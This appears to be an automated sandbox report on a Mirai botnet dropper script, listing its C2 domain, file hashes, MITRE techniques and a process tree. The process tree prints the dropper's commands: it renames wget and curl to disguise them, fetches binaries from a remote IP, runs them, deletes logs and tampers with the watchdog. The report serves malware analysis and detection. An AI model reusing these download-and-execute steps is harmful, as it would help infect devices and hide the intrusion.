mirai | f495ac84e4181503f0e6e4e21728a0cb82c7e9a3f6e1e54741f6eaf589aea82e

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
21/08/2024, 17:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

tplink.sh
Size

827B
MD5

503a6790064c0d8afb7220d7ff4d559d
SHA1

c00a805062e7a6274dde96063d42065ba2286085
SHA256

f495ac84e4181503f0e6e4e21728a0cb82c7e9a3f6e1e54741f6eaf589aea82e
SHA512

6c7ab7e8cf0b5b07b1c9cae94e4631e3fab493366d80d9946ba75a11897d8dfe658dcd96fd26d04c3b85a87786aa0656293e331a2b436b018547634c0dd45e37

Score

10^/10

mirai botnet evasion

Malware Config

Extracted

Family

mirai

really.idoingitagain.space

Extracted

Family

mirai

really.idoingitagain.space

Extracted

Family

mirai

really.idoingitagain.space

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

Deletes Audit logs 1 TTPs 1 IoCs

Deletes logs related to the Linux Audit framework.

evasion

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/audit/audit.log	cyber-mpsl

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

evasion

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/syslog	cyber-mpsl

Executes dropped EXE 23 IoCs

ioc	pid	Process
/tmp/httpd	734	httpd
/tmp/httpd	737	httpd
/tmp/httpd	741	httpd
/tmp/httpd	746	httpd
/tmp/httpd	748	httpd
/tmp/httpd	751	httpd
/tmp/httpd	753	httpd
/tmp/httpd	755	httpd
/tmp/httpd	757	httpd
/tmp/sshd	758	sshd
/tmp/cyber-x86	761	cyber-x86
/tmp/sshd	763	sshd
/tmp/cyber-sh4	766	cyber-sh4
/tmp/sshd	768	sshd
/tmp/cyber-ppc	771	cyber-ppc
/tmp/sshd	773	sshd
/tmp/cyber-mpsl	776	cyber-mpsl
/tmp/sshd	778	sshd
/tmp/sshd	786	sshd
/tmp/sshd	798	sshd
/tmp/sshd	813	sshd
/tmp/sshd	834	sshd
/tmp/sshd	849	sshd

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	cyber-mpsl
File opened for modification	/dev/misc/watchdog	cyber-mpsl

Deletes log files 1 TTPs 1 IoCs

Deletes log files on the system.

Indicator Removal

T1070

description	ioc	Process
File deleted	/var/log/daemon.log	cyber-mpsl

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/var/baby	776	cyber-mpsl

Reads CPU attributes 1 TTPs 18 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	httpd
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/16/cmdline	httpd
File opened for reading	/proc/36/cmdline	httpd
File opened for reading	/proc/416/status	pkill
File opened for reading	/proc/703/status	httpd
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/682/status	pkill
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/332/status	httpd
File opened for reading	/proc/72/status	pkill
File opened for reading	/proc/668/status	httpd
File opened for reading	/proc/71/cmdline	httpd
File opened for reading	/proc/707/status	pkill
File opened for reading	/proc/16/status	httpd
File opened for reading	/proc/169/status	pkill
File opened for reading	/proc/734/cmdline	httpd
File opened for reading	/proc/331/status	httpd
File opened for reading	/proc/708/status	pkill
File opened for reading	/proc/368/cmdline	httpd
File opened for reading	/proc/669/cmdline	httpd
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/169/cmdline	httpd
File opened for reading	/proc/82/cmdline	pkill
File opened for reading	/proc/16/status	httpd
File opened for reading	/proc/118/status	httpd
File opened for reading	/proc/695/cmdline	pkill
File opened for reading	/proc/169/cmdline	httpd
File opened for reading	/proc/1/status	httpd
File opened for reading	/proc/23/cmdline	httpd
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/682/status	httpd
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/226/status	pkill
File opened for reading	/proc/81/cmdline	httpd
File opened for reading	/proc/324/status	httpd
File opened for reading	/proc/332/status	httpd
File opened for reading	/proc/707/status	httpd
File opened for reading	/proc/12/status	pkill
File opened for reading	/proc/380/cmdline	httpd
File opened for reading	/proc/9/status	httpd
File opened for reading	/proc/13/cmdline	httpd
File opened for reading	/proc/169/status	pkill
File opened for reading	/proc/324/status	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/662/status	pkill
File opened for reading	/proc/15/cmdline	httpd
File opened for reading	/proc/682/cmdline	pkill
File opened for reading	/proc/696/status	httpd
File opened for reading	/proc/324/status	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/323/cmdline	httpd
File opened for reading	/proc/78/status	httpd
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/154/cmdline	httpd
File opened for reading	/proc/703/cmdline	httpd
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/76/cmdline	httpd
File opened for reading	/proc/117/cmdline	httpd
File opened for reading	/proc/226/cmdline	httpd
File opened for reading	/proc/22/status	httpd
File opened for reading	/proc/368/status	pkill
File opened for reading	/proc/71/status	pkill
File opened for reading	/proc/9/cmdline	httpd
File opened for reading	/proc/73/cmdline	httpd

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/telnetd	cp
File opened for modification	/tmp/httpd	cp
File opened for modification	/tmp/sshd	cp
File opened for modification	/tmp/cyber-mips	sshd
File opened for modification	/tmp/cyber-arm4	sshd
File opened for modification	/tmp/cyber-sh4	sshd
File opened for modification	/tmp/cyber-arm6	sshd
File opened for modification	/tmp/cyber-arm5	sshd
File opened for modification	/tmp/cyber-x86	sshd
File opened for modification	/tmp/cyber-ppc	sshd
File opened for modification	/tmp/cyber-mpsl	sshd
File opened for modification	/tmp/cyber-m68k	sshd
File opened for modification	/tmp/cyber-arm7	sshd

/tmp/tplink.sh
/tmp/tplink.sh
1⤵
PID:703
- /bin/cp
  cp -p /usr/bin/pkill httpd
  2⤵
  - Writes file to tmp directory
  PID:706
- /bin/cp
  cp -p /usr/bin/wget sshd
  2⤵
  - Writes file to tmp directory
  PID:713
- /bin/cp
  cp -p /usr/bin/curl telnetd
  2⤵
  - Writes file to tmp directory
  PID:716
- /bin/chmod
  chmod +x httpd
  2⤵
  PID:718
- /bin/chmod
  chmod 777 httpd
  2⤵
  PID:720
- /bin/chmod
  chmod +x sshd
  2⤵
  PID:722
- /bin/chmod
  chmod 777 sshd
  2⤵
  PID:724
- /bin/chmod
  chmod +x telnetd
  2⤵
  PID:726
- /bin/chmod
  chmod 777 telnetd
  2⤵
  PID:728
- /usr/bin/pkill
  pkill -f bot.x86
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:731
- /tmp/httpd
  ./httpd -f bot.x86
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:734
- /usr/bin/pkill
  pkill -f bot.arm4
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:735
- /tmp/httpd
  ./httpd -f bot.arm4
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:737
- /usr/bin/pkill
  pkill -f bot.arm5
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:739
- /tmp/httpd
  ./httpd -f bot.arm5
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:741
- /usr/bin/pkill
  pkill -f bot.arm6
  2⤵
  - Reads CPU attributes
  PID:744
- /tmp/httpd
  ./httpd -f bot.arm6
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:746
- /usr/bin/pkill
  pkill -f bot.arm7
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:747
- /tmp/httpd
  ./httpd -f bot.arm7
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:748
- /usr/bin/pkill
  pkill -f x86
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:749
- /tmp/httpd
  ./httpd -f x86
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:751
- /usr/bin/pkill
  pkill -f arm5
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:752
- /tmp/httpd
  ./httpd -f arm5
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:753
- /usr/bin/pkill
  pkill -f arm6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:754
- /tmp/httpd
  ./httpd -f arm6
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:755
- /usr/bin/pkill
  pkill -f arm7
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:756
- /tmp/httpd
  ./httpd -f arm7
  2⤵
  - Executes dropped EXE
  - Reads CPU attributes
  - Reads runtime system information
  PID:757
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-x86
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:758
- /bin/chmod
  chmod 777 cyber-x86
  2⤵
  PID:759
- /bin/chmod
  chmod +x cyber-x86 httpd sshd systemd-private-1cbd810d56a34121887076f16a0fecb0-systemd-timedated.service-DPaW7j telnetd tplink.sh
  2⤵
  PID:760
- /tmp/cyber-x86
  ./cyber-x86 tplink-x86
  2⤵
  - Executes dropped EXE
  PID:761
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-sh4
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod 777 cyber-sh4
  2⤵
  PID:764
- /bin/chmod
  chmod +x cyber-sh4 cyber-x86 httpd sshd systemd-private-1cbd810d56a34121887076f16a0fecb0-systemd-timedated.service-DPaW7j telnetd tplink.sh
  2⤵
  PID:765
- /tmp/cyber-sh4
  ./cyber-sh4 tplink-sh4
  2⤵
  - Executes dropped EXE
  PID:766
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-ppc
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:768
- /bin/chmod
  chmod 777 cyber-ppc
  2⤵
  PID:769
- /bin/chmod
  chmod +x cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-1cbd810d56a34121887076f16a0fecb0-systemd-timedated.service-DPaW7j telnetd tplink.sh
  2⤵
  PID:770
- /tmp/cyber-ppc
  ./cyber-ppc tplink-ppc
  2⤵
  - Executes dropped EXE
  PID:771
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-mpsl
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 cyber-mpsl
  2⤵
  PID:774
- /bin/chmod
  chmod +x cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-1cbd810d56a34121887076f16a0fecb0-systemd-timedated.service-DPaW7j telnetd tplink.sh
  2⤵
  PID:775
- /tmp/cyber-mpsl
  ./cyber-mpsl tplink-mpsl
  2⤵
  - Deletes Audit logs
  - Deletes system logs
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Deletes log files
  - Changes its process name
  PID:776
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-mips
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 cyber-mips
  2⤵
  PID:780
- /bin/chmod
  chmod +x cyber-mips
  2⤵
  PID:781
- /bin/chmod
  chmod +x cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-1cbd810d56a34121887076f16a0fecb0-systemd-timedated.service-DPaW7j telnetd tplink.sh
  2⤵
  PID:783
- /tmp/cyber-mips
  ./cyber-mips tplink-mips
  2⤵
  PID:784
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-m68k
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod 777 cyber-m68k
  2⤵
  PID:791
- /bin/chmod
  chmod +x cyber-m68k
  2⤵
  PID:793
- /bin/chmod
  chmod +x cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-1cbd810d56a34121887076f16a0fecb0-systemd-timedated.service-DPaW7j telnetd tplink.sh
  2⤵
  PID:795
- /tmp/cyber-m68k
  ./cyber-m68k tplink-m68k
  2⤵
  PID:796
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-arm7
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:798
- /bin/chmod
  chmod 777 cyber-arm7
  2⤵
  PID:806
- /bin/chmod
  chmod +x cyber-arm7
  2⤵
  PID:808
- /bin/chmod
  chmod +x cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-1cbd810d56a34121887076f16a0fecb0-systemd-timedated.service-DPaW7j telnetd tplink.sh
  2⤵
  PID:810
- /tmp/cyber-arm7
  ./cyber-arm7 tplink-arm7
  2⤵
  PID:811
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-arm6
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod 777 cyber-arm6
  2⤵
  PID:827
- /bin/chmod
  chmod +x cyber-arm6
  2⤵
  PID:829
- /bin/chmod
  chmod +x cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-1cbd810d56a34121887076f16a0fecb0-systemd-timedated.service-DPaW7j telnetd tplink.sh
  2⤵
  PID:831
- /tmp/cyber-arm6
  ./cyber-arm6 tplink-arm6
  2⤵
  PID:832
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-arm5
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod 777 cyber-arm5
  2⤵
  PID:845
- /bin/chmod
  chmod +x cyber-arm5
  2⤵
  PID:846
- /bin/chmod
  chmod +x cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-1cbd810d56a34121887076f16a0fecb0-systemd-timedated.service-DPaW7j telnetd tplink.sh
  2⤵
  PID:847
- /tmp/cyber-arm5
  ./cyber-arm5 tplink-arm5
  2⤵
  PID:848
- /tmp/sshd
  ./sshd http://45.66.231.129/xd_/cyber-arm4
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:849
- /bin/chmod
  chmod 777 cyber-arm4
  2⤵
  PID:850
- /bin/chmod
  chmod +x cyber-arm4
  2⤵
  PID:851
- /bin/chmod
  chmod +x cyber-mpsl cyber-ppc cyber-sh4 cyber-x86 httpd sshd systemd-private-1cbd810d56a34121887076f16a0fecb0-systemd-timedated.service-DPaW7j telnetd tplink.sh
  2⤵
  PID:852
- /tmp/cyber-arm4
  ./cyber-arm4 tplink-arm4
  2⤵
  PID:853

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Indicator Removal

T1070

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/cyber-mpsl

Filesize
97KB

MD5
605c719579681c44f640587ff4dc6db2

SHA1
b2d17a8d7dd094a6c2d87f993e130383e94e16de

SHA256
34e3196effc44c3fea00cd70a38c3d4ba747255911b6be2a2c9ef09a47168c47

SHA512
cb9ff093b9061180d9f6294e80560000fd7fd36b54521ddf5763dc10a399deeaeb0aa0461807b2034562280f8d98a44f41cb7e4368c5ac78a1d8390345840ac7

Download Submit
/tmp/cyber-ppc

Filesize
65KB

MD5
cc543d4df9e33766e382e50ebfdad980

SHA1
8a46b3f78f375cf06b9610be58fafe89c61969b2

SHA256
40bcd636db4a86441b44b9c20ce3d759ddef4a18c168945b53df951edf0b3d42

SHA512
38ed37e68e99dbb8658dd1f3823e27baef01206b40ec5d0a6a71fd21ff173566b81666a593c8e3a1ccb8c7851bf74bdd11339410200e0508ce69d5ac39352d08

Download Submit
/tmp/cyber-sh4

Filesize
51KB

MD5
666096845b3b27722b9d9629ddff12c1

SHA1
0bed897edd6422c3cfb24b0db44a2c87227e4e6e

SHA256
dd38e661acad7a79affb7b8b0abe2eb634bfd04c338afd5f7bd93a34aa16dd31

SHA512
229c4c1dda0224b90d6c827c2d63c6a3d90453e5358e38ffaa06c9f3f49d4cfd6e2464a86d69b9a6b06350b003d95a5d7c0312329bb1a51eb9956c12b8052789

Download Submit
/tmp/cyber-x86

Filesize
61KB

MD5
3d574d6a4916704b337d76226d205abd

SHA1
80021cc1fc609bde17db484e58dece6a247ee11d

SHA256
df0f2131b26054328c7ae7428b6cc4d05967dfd334126a99d26660335c02eb0d

SHA512
e5a843ba13eeb9d83fd0a5b3d34cecfa449e6f9ba77cea1b8867b0fbf91c2d4bbc14f6e8cd27b5550622781b8b29ae0ac952c4ab4e7e4eb5f174a1fd2e24d5a9

Download Submit
/tmp/httpd

Filesize
26KB

MD5
9b2e60147827c26862e347e58ea9b56b

SHA1
d02b7acc6394f740de96cab4acf1fe7734b61611

SHA256
d0a4ab23b044294d3eaa335869195250eeae676a9a434cd68ec9cc4f4c80bfe2

SHA512
5ab5932a3e9ac6695637aa4f0e68fa85b8fca74bdac3fb17a6e8b1af0d7032030741fc640e49b005bc06c2ffda74feb1fe67709f660672951b0ea54ac98381d0

Download Submit
/tmp/sshd

Filesize
536KB

MD5
4a7c9f69532775b790e8d999f73a68b9

SHA1
9cf4d3d57284103e828dcaa514bfa76e84366472

SHA256
ba3dee31b794d6e0e2df228a87f54f3432100a4acfee8f1a7a64d2584cd80495

SHA512
925d73442f8a824ac2c016d1ce12293b30ced91cc3954ef74dbd604fc7b4a6c60227c82c52e5491ec3ba8d20a2a8d3b3b6739ef64cc242b9335a756f6631b128

Download Submit
/tmp/telnetd

Filesize
186KB

MD5
7bca13eb125880aa2615ae9f836ac7fd

SHA1
884a53c9f84f5b57735da52e2672aa46e282567a

SHA256
e3c97425e53915f35f1e8315b39d827714c81142a8e6899b7d45cefa9a31f6af

SHA512
45dc3f8d7ef327785ded043dfe981c9d4eb1faabc1362ad634e3c7795f0f925a9c9b2842d1f8cc19bc125c0d71b42365cb2ad669d2543d2b9bcad6b3c782d1c4

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads